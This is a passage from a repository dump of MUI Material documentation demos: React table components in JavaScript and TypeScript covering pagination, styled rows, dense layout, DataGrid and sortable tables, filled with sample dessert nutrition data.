React.ChangeEvent<HTMLInputElement>) => {\n    setRowsPerPage(+event.target.value);\n    setPage(0);\n  };\n\n  return (\n    <Paper sx={{ width: '100%' }}>\n      <TableContainer sx={{ maxHeight: 440 }}>\n        <Table stickyHeader aria-label=\"sticky table\">\n          <TableHead>\n            <TableRow>\n              <TableCell align=\"center\" colSpan={2}>\n                Country\n              </TableCell>\n              <TableCell align=\"center\" colSpan={3}>\n                Details\n              </TableCell>\n            </TableRow>\n            <TableRow>\n              {columns.map((column) => (\n                <TableCell\n                  key={column.id}\n                  align={column.align}\n                  style={{ top: 57, minWidth: column.minWidth }}\n                >\n                  {column.label}\n                </TableCell>\n              ))}\n            </TableRow>\n          </TableHead>\n          <TableBody>\n            {rows\n              .slice(page * rowsPerPage, page * rowsPerPage + rowsPerPage)\n              .map((row) => {\n                return (\n                  <TableRow hover role=\"checkbox\" tabIndex={-1} key={row.code}>\n                    {columns.map((column) => {\n                      const value = row[column.id];\n                      return (\n                        <TableCell key={column.id} align={column.align}>\n                          {column.format && typeof value === 'number'\n                            ? column.format(value)\n                            : value}\n                        </TableCell>\n                      );\n                    })}\n                  </TableRow>\n                );\n              })}\n          </TableBody>\n        </Table>\n      </TableContainer>\n      <TablePagination\n        rowsPerPageOptions={[10, 25, 100]}\n        component=\"div\"\n        count={rows.length}\n        rowsPerPage={rowsPerPage}\n        page={page}\n        onPageChange={handleChangePage}\n        onRowsPerPageChange={handleChangeRowsPerPage}\n      />\n    </Paper>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/table/CustomPaginationActionsTable.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { useTheme } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Table from '@mui/material/Table';\nimport TableBody from '@mui/material/TableBody';\nimport TableCell from '@mui/material/TableCell';\nimport TableContainer from '@mui/material/TableContainer';\nimport TableFooter from '@mui/material/TableFooter';\nimport TablePagination from '@mui/material/TablePagination';\nimport TableRow from '@mui/material/TableRow';\nimport Paper from '@mui/material/Paper';\nimport IconButton from '@mui/material/IconButton';\nimport FirstPageIcon from '@mui/icons-material/FirstPage';\nimport KeyboardArrowLeft from '@mui/icons-material/KeyboardArrowLeft';\nimport KeyboardArrowRight from '@mui/icons-material/KeyboardArrowRight';\nimport LastPageIcon from '@mui/icons-material/LastPage';\n\nfunction TablePaginationActions(props) {\n  const theme = useTheme();\n  const { count, page, rowsPerPage, onPageChange } = props;\n\n  const handleFirstPageButtonClick = (event) => {\n    onPageChange(event, 0);\n  };\n\n  const handleBackButtonClick = (event) => {\n    onPageChange(event, page - 1);\n  };\n\n  const handleNextButtonClick = (event) => {\n    onPageChange(event, page + 1);\n  };\n\n  const handleLastPageButtonClick = (event) => {\n    onPageChange(event, Math.max(0, Math.ceil(count / rowsPerPage) - 1));\n  };\n\n  return (\n    <Box sx={{ flexShrink: 0, ml: 2.5 }}>\n      <IconButton\n        onClick={handleFirstPageButtonClick}\n        disabled={page === 0}\n        aria-label=\"first page\"\n      >\n        {theme.direction === 'rtl' ? <LastPageIcon /> : <FirstPageIcon />}\n      </IconButton>\n      <IconButton\n        onClick={handleBackButtonClick}\n        disabled={page === 0}\n        aria-label=\"previous page\"\n      >\n        {theme.direction === 'rtl' ? <KeyboardArrowRight /> : <KeyboardArrowLeft />}\n      </IconButton>\n      <IconButton\n        onClick={handleNextButtonClick}\n        disabled={page >= Math.ceil(count / rowsPerPage) - 1}\n        aria-label=\"next page\"\n      >\n        {theme.direction === 'rtl' ? <KeyboardArrowLeft /> : <KeyboardArrowRight />}\n      </IconButton>\n      <IconButton\n        onClick={handleLastPageButtonClick}\n        disabled={page >= Math.ceil(count / rowsPerPage) - 1}\n        aria-label=\"last page\"\n      >\n        {theme.direction === 'rtl' ? <FirstPageIcon /> : <LastPageIcon />}\n      </IconButton>\n    </Box>\n  );\n}\n\nTablePaginationActions.propTypes = {\n  count: PropTypes.number.isRequired,\n  onPageChange: PropTypes.func.isRequired,\n  page: PropTypes.number.isRequired,\n  rowsPerPage: PropTypes.number.isRequired,\n};\n\nfunction createData(name, calories, fat) {\n  return { name, calories, fat };\n}\n\nconst rows = [\n  createData('Cupcake', 305, 3.7),\n  createData('Donut', 452, 25.0),\n  createData('Eclair', 262, 16.0),\n  createData('Frozen yoghurt', 159, 6.0),\n  createData('Gingerbread', 356, 16.0),\n  createData('Honeycomb', 408, 3.2),\n  createData('Ice cream sandwich', 237, 9.0),\n  createData('Jelly Bean', 375, 0.0),\n  createData('KitKat', 518, 26.0),\n  createData('Lollipop', 392, 0.2),\n  createData('Marshmallow', 318, 0),\n  createData('Nougat', 360, 19.0),\n  createData('Oreo', 437, 18.0),\n].sort((a, b) => (a.calories < b.calories ? -1 : 1));\n\nexport default function CustomPaginationActionsTable() {\n  const [page, setPage] = React.useState(0);\n  const [rowsPerPage, setRowsPerPage] = React.useState(5);\n\n  // Avoid a layout jump when reaching the last page with empty rows.\n  const emptyRows =\n    page > 0 ? Math.max(0, (1 + page) * rowsPerPage - rows.length) : 0;\n\n  const handleChangePage = (event, newPage) => {\n    setPage(newPage);\n  };\n\n  const handleChangeRowsPerPage = (event) => {\n    setRowsPerPage(parseInt(event.target.value, 10));\n    setPage(0);\n  };\n\n  return (\n    <TableContainer component={Paper}>\n      <Table sx={{ minWidth: 500 }} aria-label=\"custom pagination table\">\n        <TableBody>\n          {(rowsPerPage > 0\n            ? rows.slice(page * rowsPerPage, page * rowsPerPage + rowsPerPage)\n            : rows\n          ).map((row) => (\n            <TableRow key={row.name}>\n              <TableCell component=\"th\" scope=\"row\">\n                {row.name}\n              </TableCell>\n              <TableCell style={{ width: 160 }} align=\"right\">\n                {row.calories}\n              </TableCell>\n              <TableCell style={{ width: 160 }} align=\"right\">\n                {row.fat}\n              </TableCell>\n            </TableRow>\n          ))}\n          {emptyRows > 0 && (\n            <TableRow style={{ height: 53 * emptyRows }}>\n              <TableCell colSpan={6} />\n            </TableRow>\n          )}\n        </TableBody>\n        <TableFooter>\n          <TableRow>\n            <TablePagination\n              rowsPerPageOptions={[5, 10, 25, { label: 'All', value: -1 }]}\n              colSpan={3}\n              count={rows.length}\n              rowsPerPage={rowsPerPage}\n              page={page}\n              slotProps={{\n                select: {\n                  inputProps: {\n                    'aria-label': 'rows per page',\n                  },\n                  native: true,\n                },\n              }}\n              onPageChange={handleChangePage}\n              onRowsPerPageChange={handleChangeRowsPerPage}\n              ActionsComponent={TablePaginationActions}\n            />\n          </TableRow>\n        </TableFooter>\n      </Table>\n    </TableContainer>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/table/CustomPaginationActionsTable.tsx",
    "content": "import * as React from 'react';\nimport { useTheme } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Table from '@mui/material/Table';\nimport TableBody from '@mui/material/TableBody';\nimport TableCell from '@mui/material/TableCell';\nimport TableContainer from '@mui/material/TableContainer';\nimport TableFooter from '@mui/material/TableFooter';\nimport TablePagination from '@mui/material/TablePagination';\nimport TableRow from '@mui/material/TableRow';\nimport Paper from '@mui/material/Paper';\nimport IconButton from '@mui/material/IconButton';\nimport FirstPageIcon from '@mui/icons-material/FirstPage';\nimport KeyboardArrowLeft from '@mui/icons-material/KeyboardArrowLeft';\nimport KeyboardArrowRight from '@mui/icons-material/KeyboardArrowRight';\nimport LastPageIcon from '@mui/icons-material/LastPage';\n\ninterface TablePaginationActionsProps {\n  count: number;\n  page: number;\n  rowsPerPage: number;\n  onPageChange: (\n    event: React.MouseEvent<HTMLButtonElement>,\n    newPage: number,\n  ) => void;\n}\n\nfunction TablePaginationActions(props: TablePaginationActionsProps) {\n  const theme = useTheme();\n  const { count, page, rowsPerPage, onPageChange } = props;\n\n  const handleFirstPageButtonClick = (\n    event: React.MouseEvent<HTMLButtonElement>,\n  ) => {\n    onPageChange(event, 0);\n  };\n\n  const handleBackButtonClick = (event: React.MouseEvent<HTMLButtonElement>) => {\n    onPageChange(event, page - 1);\n  };\n\n  const handleNextButtonClick = (event: React.MouseEvent<HTMLButtonElement>) => {\n    onPageChange(event, page + 1);\n  };\n\n  const handleLastPageButtonClick = (event: React.MouseEvent<HTMLButtonElement>) => {\n    onPageChange(event, Math.max(0, Math.ceil(count / rowsPerPage) - 1));\n  };\n\n  return (\n    <Box sx={{ flexShrink: 0, ml: 2.5 }}>\n      <IconButton\n        onClick={handleFirstPageButtonClick}\n        disabled={page === 0}\n        aria-label=\"first page\"\n      >\n        {theme.direction === 'rtl' ? <LastPageIcon /> : <FirstPageIcon />}\n      </IconButton>\n      <IconButton\n        onClick={handleBackButtonClick}\n        disabled={page === 0}\n        aria-label=\"previous page\"\n      >\n        {theme.direction === 'rtl' ? <KeyboardArrowRight /> : <KeyboardArrowLeft />}\n      </IconButton>\n      <IconButton\n        onClick={handleNextButtonClick}\n        disabled={page >= Math.ceil(count / rowsPerPage) - 1}\n        aria-label=\"next page\"\n      >\n        {theme.direction === 'rtl' ? <KeyboardArrowLeft /> : <KeyboardArrowRight />}\n      </IconButton>\n      <IconButton\n        onClick={handleLastPageButtonClick}\n        disabled={page >= Math.ceil(count / rowsPerPage) - 1}\n        aria-label=\"last page\"\n      >\n        {theme.direction === 'rtl' ? <FirstPageIcon /> : <LastPageIcon />}\n      </IconButton>\n    </Box>\n  );\n}\n\nfunction createData(name: string, calories: number, fat: number) {\n  return { name, calories, fat };\n}\n\nconst rows = [\n  createData('Cupcake', 305, 3.7),\n  createData('Donut', 452, 25.0),\n  createData('Eclair', 262, 16.0),\n  createData('Frozen yoghurt', 159, 6.0),\n  createData('Gingerbread', 356, 16.0),\n  createData('Honeycomb', 408, 3.2),\n  createData('Ice cream sandwich', 237, 9.0),\n  createData('Jelly Bean', 375, 0.0),\n  createData('KitKat', 518, 26.0),\n  createData('Lollipop', 392, 0.2),\n  createData('Marshmallow', 318, 0),\n  createData('Nougat', 360, 19.0),\n  createData('Oreo', 437, 18.0),\n].sort((a, b) => (a.calories < b.calories ? -1 : 1));\n\nexport default function CustomPaginationActionsTable() {\n  const [page, setPage] = React.useState(0);\n  const [rowsPerPage, setRowsPerPage] = React.useState(5);\n\n  // Avoid a layout jump when reaching the last page with empty rows.\n  const emptyRows =\n    page > 0 ? Math.max(0, (1 + page) * rowsPerPage - rows.length) : 0;\n\n  const handleChangePage = (\n    event: React.MouseEvent<HTMLButtonElement> | null,\n    newPage: number,\n  ) => {\n    setPage(newPage);\n  };\n\n  const handleChangeRowsPerPage = (\n    event: React.ChangeEvent<HTMLInputElement | HTMLTextAreaElement>,\n  ) => {\n    setRowsPerPage(parseInt(event.target.value, 10));\n    setPage(0);\n  };\n\n  return (\n    <TableContainer component={Paper}>\n      <Table sx={{ minWidth: 500 }} aria-label=\"custom pagination table\">\n        <TableBody>\n          {(rowsPerPage > 0\n            ? rows.slice(page * rowsPerPage, page * rowsPerPage + rowsPerPage)\n            : rows\n          ).map((row) => (\n            <TableRow key={row.name}>\n              <TableCell component=\"th\" scope=\"row\">\n                {row.name}\n              </TableCell>\n              <TableCell style={{ width: 160 }} align=\"right\">\n                {row.calories}\n              </TableCell>\n              <TableCell style={{ width: 160 }} align=\"right\">\n                {row.fat}\n              </TableCell>\n            </TableRow>\n          ))}\n          {emptyRows > 0 && (\n            <TableRow style={{ height: 53 * emptyRows }}>\n              <TableCell colSpan={6} />\n            </TableRow>\n          )}\n        </TableBody>\n        <TableFooter>\n          <TableRow>\n            <TablePagination\n              rowsPerPageOptions={[5, 10, 25, { label: 'All', value: -1 }]}\n              colSpan={3}\n              count={rows.length}\n              rowsPerPage={rowsPerPage}\n              page={page}\n              slotProps={{\n                select: {\n                  inputProps: {\n                    'aria-label': 'rows per page',\n                  },\n                  native: true,\n                },\n              }}\n              onPageChange={handleChangePage}\n              onRowsPerPageChange={handleChangeRowsPerPage}\n              ActionsComponent={TablePaginationActions}\n            />\n          </TableRow>\n        </TableFooter>\n      </Table>\n    </TableContainer>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/table/CustomizedTables.js",
    "content": "import { styled } from '@mui/material/styles';\nimport Table from '@mui/material/Table';\nimport TableBody from '@mui/material/TableBody';\nimport TableCell, { tableCellClasses } from '@mui/material/TableCell';\nimport TableContainer from '@mui/material/TableContainer';\nimport TableHead from '@mui/material/TableHead';\nimport TableRow from '@mui/material/TableRow';\nimport Paper from '@mui/material/Paper';\n\nconst StyledTableCell = styled(TableCell)(({ theme }) => ({\n  [`&.${tableCellClasses.head}`]: {\n    backgroundColor: theme.palette.common.black,\n    color: theme.palette.common.white,\n  },\n  [`&.${tableCellClasses.body}`]: {\n    fontSize: 14,\n  },\n}));\n\nconst StyledTableRow = styled(TableRow)(({ theme }) => ({\n  '&:nth-of-type(odd)': {\n    backgroundColor: theme.palette.action.hover,\n  },\n  // hide last border\n  '&:last-child td, &:last-child th': {\n    border: 0,\n  },\n}));\n\nfunction createData(name, calories, fat, carbs, protein) {\n  return { name, calories, fat, carbs, protein };\n}\n\nconst rows = [\n  createData('Frozen yoghurt', 159, 6.0, 24, 4.0),\n  createData('Ice cream sandwich', 237, 9.0, 37, 4.3),\n  createData('Eclair', 262, 16.0, 24, 6.0),\n  createData('Cupcake', 305, 3.7, 67, 4.3),\n  createData('Gingerbread', 356, 16.0, 49, 3.9),\n];\n\nexport default function CustomizedTables() {\n  return (\n    <TableContainer component={Paper}>\n      <Table sx={{ minWidth: 700 }} aria-label=\"customized table\">\n        <TableHead>\n          <TableRow>\n            <StyledTableCell>Dessert (100g serving)</StyledTableCell>\n            <StyledTableCell align=\"right\">Calories</StyledTableCell>\n            <StyledTableCell align=\"right\">Fat&nbsp;(g)</StyledTableCell>\n            <StyledTableCell align=\"right\">Carbs&nbsp;(g)</StyledTableCell>\n            <StyledTableCell align=\"right\">Protein&nbsp;(g)</StyledTableCell>\n          </TableRow>\n        </TableHead>\n        <TableBody>\n          {rows.map((row) => (\n            <StyledTableRow key={row.name}>\n              <StyledTableCell component=\"th\" scope=\"row\">\n                {row.name}\n              </StyledTableCell>\n              <StyledTableCell align=\"right\">{row.calories}</StyledTableCell>\n              <StyledTableCell align=\"right\">{row.fat}</StyledTableCell>\n              <StyledTableCell align=\"right\">{row.carbs}</StyledTableCell>\n              <StyledTableCell align=\"right\">{row.protein}</StyledTableCell>\n            </StyledTableRow>\n          ))}\n        </TableBody>\n      </Table>\n    </TableContainer>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/table/CustomizedTables.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport Table from '@mui/material/Table';\nimport TableBody from '@mui/material/TableBody';\nimport TableCell, { tableCellClasses } from '@mui/material/TableCell';\nimport TableContainer from '@mui/material/TableContainer';\nimport TableHead from '@mui/material/TableHead';\nimport TableRow from '@mui/material/TableRow';\nimport Paper from '@mui/material/Paper';\n\nconst StyledTableCell = styled(TableCell)(({ theme }) => ({\n  [`&.${tableCellClasses.head}`]: {\n    backgroundColor: theme.palette.common.black,\n    color: theme.palette.common.white,\n  },\n  [`&.${tableCellClasses.body}`]: {\n    fontSize: 14,\n  },\n}));\n\nconst StyledTableRow = styled(TableRow)(({ theme }) => ({\n  '&:nth-of-type(odd)': {\n    backgroundColor: theme.palette.action.hover,\n  },\n  // hide last border\n  '&:last-child td, &:last-child th': {\n    border: 0,\n  },\n}));\n\nfunction createData(\n  name: string,\n  calories: number,\n  fat: number,\n  carbs: number,\n  protein: number,\n) {\n  return { name, calories, fat, carbs, protein };\n}\n\nconst rows = [\n  createData('Frozen yoghurt', 159, 6.0, 24, 4.0),\n  createData('Ice cream sandwich', 237, 9.0, 37, 4.3),\n  createData('Eclair', 262, 16.0, 24, 6.0),\n  createData('Cupcake', 305, 3.7, 67, 4.3),\n  createData('Gingerbread', 356, 16.0, 49, 3.9),\n];\n\nexport default function CustomizedTables() {\n  return (\n    <TableContainer component={Paper}>\n      <Table sx={{ minWidth: 700 }} aria-label=\"customized table\">\n        <TableHead>\n          <TableRow>\n            <StyledTableCell>Dessert (100g serving)</StyledTableCell>\n            <StyledTableCell align=\"right\">Calories</StyledTableCell>\n            <StyledTableCell align=\"right\">Fat&nbsp;(g)</StyledTableCell>\n            <StyledTableCell align=\"right\">Carbs&nbsp;(g)</StyledTableCell>\n            <StyledTableCell align=\"right\">Protein&nbsp;(g)</StyledTableCell>\n          </TableRow>\n        </TableHead>\n        <TableBody>\n          {rows.map((row) => (\n            <StyledTableRow key={row.name}>\n              <StyledTableCell component=\"th\" scope=\"row\">\n                {row.name}\n              </StyledTableCell>\n              <StyledTableCell align=\"right\">{row.calories}</StyledTableCell>\n              <StyledTableCell align=\"right\">{row.fat}</StyledTableCell>\n              <StyledTableCell align=\"right\">{row.carbs}</StyledTableCell>\n              <StyledTableCell align=\"right\">{row.protein}</StyledTableCell>\n            </StyledTableRow>\n          ))}\n        </TableBody>\n      </Table>\n    </TableContainer>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/table/DataTable.js",
    "content": "import { DataGrid } from '@mui/x-data-grid';\nimport Paper from '@mui/material/Paper';\n\nconst columns = [\n  { field: 'id', headerName: 'ID', width: 70 },\n  { field: 'firstName', headerName: 'First name', width: 130 },\n  { field: 'lastName', headerName: 'Last name', width: 130 },\n  {\n    field: 'age',\n    headerName: 'Age',\n    type: 'number',\n    width: 90,\n  },\n  {\n    field: 'fullName',\n    headerName: 'Full name',\n    description: 'This column has a value getter and is not sortable.',\n    sortable: false,\n    width: 160,\n    valueGetter: (value, row) => `${row.firstName || ''} ${row.lastName || ''}`,\n  },\n];\n\nconst rows = [\n  { id: 1, lastName: 'Snow', firstName: 'Jon', age: 35 },\n  { id: 2, lastName: 'Lannister', firstName: 'Cersei', age: 42 },\n  { id: 3, lastName: 'Lannister', firstName: 'Jaime', age: 45 },\n  { id: 4, lastName: 'Stark', firstName: 'Arya', age: 16 },\n  { id: 5, lastName: 'Targaryen', firstName: 'Daenerys', age: null },\n  { id: 6, lastName: 'Melisandre', firstName: null, age: 150 },\n  { id: 7, lastName: 'Clifford', firstName: 'Ferrara', age: 44 },\n  { id: 8, lastName: 'Frances', firstName: 'Rossini', age: 36 },\n  { id: 9, lastName: 'Roxie', firstName: 'Harvey', age: 65 },\n];\n\nconst paginationModel = { page: 0, pageSize: 5 };\n\nexport default function DataTable() {\n  return (\n    <Paper sx={{ height: 400, width: '100%' }}>\n      <DataGrid\n        rows={rows}\n        columns={columns}\n        initialState={{ pagination: { paginationModel } }}\n        pageSizeOptions={[5, 10]}\n        checkboxSelection\n        sx={{ border: 0 }}\n      />\n    </Paper>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/table/DataTable.tsx",
    "content": "import { DataGrid, GridColDef } from '@mui/x-data-grid';\nimport Paper from '@mui/material/Paper';\n\nconst columns: GridColDef[] = [\n  { field: 'id', headerName: 'ID', width: 70 },\n  { field: 'firstName', headerName: 'First name', width: 130 },\n  { field: 'lastName', headerName: 'Last name', width: 130 },\n  {\n    field: 'age',\n    headerName: 'Age',\n    type: 'number',\n    width: 90,\n  },\n  {\n    field: 'fullName',\n    headerName: 'Full name',\n    description: 'This column has a value getter and is not sortable.',\n    sortable: false,\n    width: 160,\n    valueGetter: (value, row) => `${row.firstName || ''} ${row.lastName || ''}`,\n  },\n];\n\nconst rows = [\n  { id: 1, lastName: 'Snow', firstName: 'Jon', age: 35 },\n  { id: 2, lastName: 'Lannister', firstName: 'Cersei', age: 42 },\n  { id: 3, lastName: 'Lannister', firstName: 'Jaime', age: 45 },\n  { id: 4, lastName: 'Stark', firstName: 'Arya', age: 16 },\n  { id: 5, lastName: 'Targaryen', firstName: 'Daenerys', age: null },\n  { id: 6, lastName: 'Melisandre', firstName: null, age: 150 },\n  { id: 7, lastName: 'Clifford', firstName: 'Ferrara', age: 44 },\n  { id: 8, lastName: 'Frances', firstName: 'Rossini', age: 36 },\n  { id: 9, lastName: 'Roxie', firstName: 'Harvey', age: 65 },\n];\n\nconst paginationModel = { page: 0, pageSize: 5 };\n\nexport default function DataTable() {\n  return (\n    <Paper sx={{ height: 400, width: '100%' }}>\n      <DataGrid\n        rows={rows}\n        columns={columns}\n        initialState={{ pagination: { paginationModel } }}\n        pageSizeOptions={[5, 10]}\n        checkboxSelection\n        sx={{ border: 0 }}\n      />\n    </Paper>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/table/DataTable.tsx.preview",
    "content": "<Paper sx={{ height: 400, width: '100%' }}>\n  <DataGrid\n    rows={rows}\n    columns={columns}\n    initialState={{ pagination: { paginationModel } }}\n    pageSizeOptions={[5, 10]}\n    checkboxSelection\n    sx={{ border: 0 }}\n  />\n</Paper>"
  },
  {
    "path": "docs/data/material/components/table/DenseTable.js",
    "content": "import Table from '@mui/material/Table';\nimport TableBody from '@mui/material/TableBody';\nimport TableCell from '@mui/material/TableCell';\nimport TableContainer from '@mui/material/TableContainer';\nimport TableHead from '@mui/material/TableHead';\nimport TableRow from '@mui/material/TableRow';\nimport Paper from '@mui/material/Paper';\n\nfunction createData(name, calories, fat, carbs, protein) {\n  return { name, calories, fat, carbs, protein };\n}\n\nconst rows = [\n  createData('Frozen yoghurt', 159, 6.0, 24, 4.0),\n  createData('Ice cream sandwich', 237, 9.0, 37, 4.3),\n  createData('Eclair', 262, 16.0, 24, 6.0),\n  createData('Cupcake', 305, 3.7, 67, 4.3),\n  createData('Gingerbread', 356, 16.0, 49, 3.9),\n];\n\nexport default function DenseTable() {\n  return (\n    <TableContainer component={Paper}>\n      <Table sx={{ minWidth: 650 }} size=\"small\" aria-label=\"a dense table\">\n        <TableHead>\n          <TableRow>\n            <TableCell>Dessert (100g serving)</TableCell>\n            <TableCell align=\"right\">Calories</TableCell>\n            <TableCell align=\"right\">Fat&nbsp;(g)</TableCell>\n            <TableCell align=\"right\">Carbs&nbsp;(g)</TableCell>\n            <TableCell align=\"right\">Protein&nbsp;(g)</TableCell>\n          </TableRow>\n        </TableHead>\n        <TableBody>\n          {rows.map((row) => (\n            <TableRow\n              key={row.name}\n              sx={{ '&:last-child td, &:last-child th': { border: 0 } }}\n            >\n              <TableCell component=\"th\" scope=\"row\">\n                {row.name}\n              </TableCell>\n              <TableCell align=\"right\">{row.calories}</TableCell>\n              <TableCell align=\"right\">{row.fat}</TableCell>\n              <TableCell align=\"right\">{row.carbs}</TableCell>\n              <TableCell align=\"right\">{row.protein}</TableCell>\n            </TableRow>\n          ))}\n        </TableBody>\n      </Table>\n    </TableContainer>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/table/DenseTable.tsx",
    "content": "import Table from '@mui/material/Table';\nimport TableBody from '@mui/material/TableBody';\nimport TableCell from '@mui/material/TableCell';\nimport TableContainer from '@mui/material/TableContainer';\nimport TableHead from '@mui/material/TableHead';\nimport TableRow from '@mui/material/TableRow';\nimport Paper from '@mui/material/Paper';\n\nfunction createData(\n  name: string,\n  calories: number,\n  fat: number,\n  carbs: number,\n  protein: number,\n) {\n  return { name, calories, fat, carbs, protein };\n}\n\nconst rows = [\n  createData('Frozen yoghurt', 159, 6.0, 24, 4.0),\n  createData('Ice cream sandwich', 237, 9.0, 37, 4.3),\n  createData('Eclair', 262, 16.0, 24, 6.0),\n  createData('Cupcake', 305, 3.7, 67, 4.3),\n  createData('Gingerbread', 356, 16.0, 49, 3.9),\n];\n\nexport default function DenseTable() {\n  return (\n    <TableContainer component={Paper}>\n      <Table sx={{ minWidth: 650 }} size=\"small\" aria-label=\"a dense table\">\n        <TableHead>\n          <TableRow>\n            <TableCell>Dessert (100g serving)</TableCell>\n            <TableCell align=\"right\">Calories</TableCell>\n            <TableCell align=\"right\">Fat&nbsp;(g)</TableCell>\n            <TableCell align=\"right\">Carbs&nbsp;(g)</TableCell>\n            <TableCell align=\"right\">Protein&nbsp;(g)</TableCell>\n          </TableRow>\n        </TableHead>\n        <TableBody>\n          {rows.map((row) => (\n            <TableRow\n              key={row.name}\n              sx={{ '&:last-child td, &:last-child th': { border: 0 } }}\n            >\n              <TableCell component=\"th\" scope=\"row\">\n                {row.name}\n              </TableCell>\n              <TableCell align=\"right\">{row.calories}</TableCell>\n              <TableCell align=\"right\">{row.fat}</TableCell>\n              <TableCell align=\"right\">{row.carbs}</TableCell>\n              <TableCell align=\"right\">{row.protein}</TableCell>\n            </TableRow>\n          ))}\n        </TableBody>\n      </Table>\n    </TableContainer>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/table/EnhancedTable.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { alpha } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Table from '@mui/material/Table';\nimport TableBody from '@mui/material/TableBody';\nimport TableCell from '@mui/material/TableCell';\nimport TableContainer from '@mui/material/TableContainer';\nimport TableHead from '@mui/material/TableHead';\nimport TablePagination from '@mui/material/TablePagination';\nimport TableRow from '@mui/material/TableRow';\nimport TableSortLabel from '@mui/material/TableSortLabel';\nimport Toolbar from '@mui/material/Toolbar';\nimport Typography from '@mui/material/Typography';\nimport Paper from '@mui/material/Paper';\nimport Checkbox from '@mui/material/Checkbox';\nimport IconButton from '@mui/material/IconButton';\nimport Tooltip from '@mui/material/Tooltip';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Switch from '@mui/material/Switch';\nimport DeleteIcon from '@mui/icons-material/Delete';\nimport FilterListIcon from '@mui/icons-material/FilterList';\nimport { visuallyHidden } from '@mui/utils';\n\nfunction createData(id, name, calories, fat, carbs, protein) {\n  return {\n    id,\n    name,\n    calories,\n    fat,\n    carbs,\n    protein,\n  };\n}\n\nconst rows = [\n  createData(1, 'Cupcake', 305, 3.7, 67, 4.3),\n  createData(2, 'Donut', 452, 25.0, 51, 4.9),\n  createData(3, 'Eclair', 262, 16.0, 24, 6.0),\n  createData(4, 'Frozen yoghurt', 159, 6.0, 24, 4.0),\n  createData(5, 'Gingerbread', 356, 16.0, 49, 3.9),\n  createData(6, 'Honeycomb', 408, 3.2, 87, 6.5),\n  createData(7, 'Ice cream sandwich', 237, 9.0, 37, 4.3),\n  createData(8, 'Jelly Bean', 375, 0.0, 94, 0.0),\n  createData(9, 'KitKat', 518, 26.0, 65, 7.0),\n  createData(10, 'Lollipop', 392, 0.2, 98, 0.0),\n  createData(11, 'Marshmallow', 318, 0, 81, 2.0),\n  createData(12, 'Nougat', 360, 19.0, 9, 37.0),\n  createData(13, 'Oreo', 437, 18.0, 63, 4.0),\n];\n\nfunction descendingComparator(a, b, orderBy) {\n  if (b[orderBy] < a[orderBy]) {\n    return -1;\n  }\n  if (b[orderBy] > a[orderBy]) {\n    return 1;\n  }\n  return 0;\n}\n\nfunction getComparator(order, orderBy) {\n  return order === 'desc'\n    ? (a, b) => descendingComparator(a, b, orderBy)\n    : (a, b) => -descendingComparator(a, b, orderBy);\n}\n\nconst headCells = [\n  {\n    id: 'name',\n    numeric: false,\n    disablePadding: true,\n    label: 'Dessert (100g serving)',\n  },\n  {\n    id: 'calories',\n    numeric: true,\n    disablePadding: false,\n    label: 'Calories',\n  },\n  {\n    id: 'fat',\n    numeric: true,\n    disablePadding: false,\n    label: 'Fat (g)',\n  },\n  {\n    id: 'carbs',\n    numeric: true,\n    disablePadding: false,\n    label: 'Carbs (g)',\n  },\n  {\n    id: 'protein',\n    numeric: true,\n    disablePadding: false,\n    label: 'Protein (g)',\n  },\n];\n\nfunction EnhancedTableHead(props) {\n  const { onSelectAllClick, order, orderBy, numSelected, rowCount, onRequestSort } =\n    props;\n  const createSortHandler = (property) => (event) => {\n    onRequestSort(event, property);\n  };\n\n  return (\n    <TableHead>\n      <TableRow>\n        <TableCell padding=\"checkbox\">\n          <Checkbox\n            color=\"primary\"\n            indeterminate={numSelected > 0 && numSelected < rowCount}\n            checked={rowCount > 0 && numSelected === rowCount}\n            onChange={onSelectAllClick}\n            slotProps={{\n              input: { 'aria-label': 'select all desserts' },\n            }}\n          />\n        </TableCell>\n        {headCells.map((headCell) => (\n          <TableCell\n            key={headCell.id}\n            align={headCell.numeric ? 'right' : 'left'}\n            padding={headCell.disablePadding ? 'none' : 'normal'}\n            sortDirection={orderBy === headCell.id ? order : false}\n          >\n            <TableSortLabel\n              active={orderBy === headCell.id}\n              direction={orderBy === headCell.id ? order : 'asc'}\n              onClick={createSortHandler(headCell.id)}\n            >\n              {headCell.label}\n              {orderBy === headCell.id ? (\n                <Box component=\"span\" sx={visuallyHidden}>\n                  {order === 'desc' ? 'sorted descending' : 'sorted ascending'}\n                </Box>\n              ) : null}\n            </TableSortLabel>\n          </TableCell>\n        ))}\n      </TableRow>\n    </TableHead>\n  );\n}\n\nEnhancedTableHead.propTypes = {\n  numSelected: PropTypes.number.isRequired,\n  onRequestSort: PropTypes.func.isRequired,\n  onSelectAllClick: PropTypes.func.isRequired,\n  order: PropTypes.oneOf(['asc', 'desc']).isRequired,\n  orderBy: PropTypes.string.isRequired,\n  rowCount: PropTypes.number.isRequired,\n};\n\nfunction EnhancedTableToolbar(props) {\n  const { numSelected } = props;\n  return (\n    <Toolbar\n      sx={[\n        {\n          pl: { sm: 2 },\n          pr: { xs: 1, sm: 1 },\n        },\n        numSelected > 0 && {\n          bgcolor: (theme) =>\n            alpha(theme.palette.primary.main, theme.palette.action.activatedOpacity),\n        },\n      ]}\n    >\n      {numSelected > 0 ? (\n        <Typography\n          variant=\"subtitle1\"\n          component=\"div\"\n          sx={{\n            color: 'inherit',\n            flex: '1 1 100%',\n          }}\n        >\n          {numSelected} selected\n        </Typography>\n      ) : (\n        <Typography\n          sx={{ flex: '1 1 100%' }}\n          variant=\"h6\"\n          id=\"tableTitle\"\n          component=\"div\"\n        >\n          Nutrition\n        </Typography>\n      )}\n      {numSelected > 0 ? (\n        <Tooltip title=\"Delete\">\n          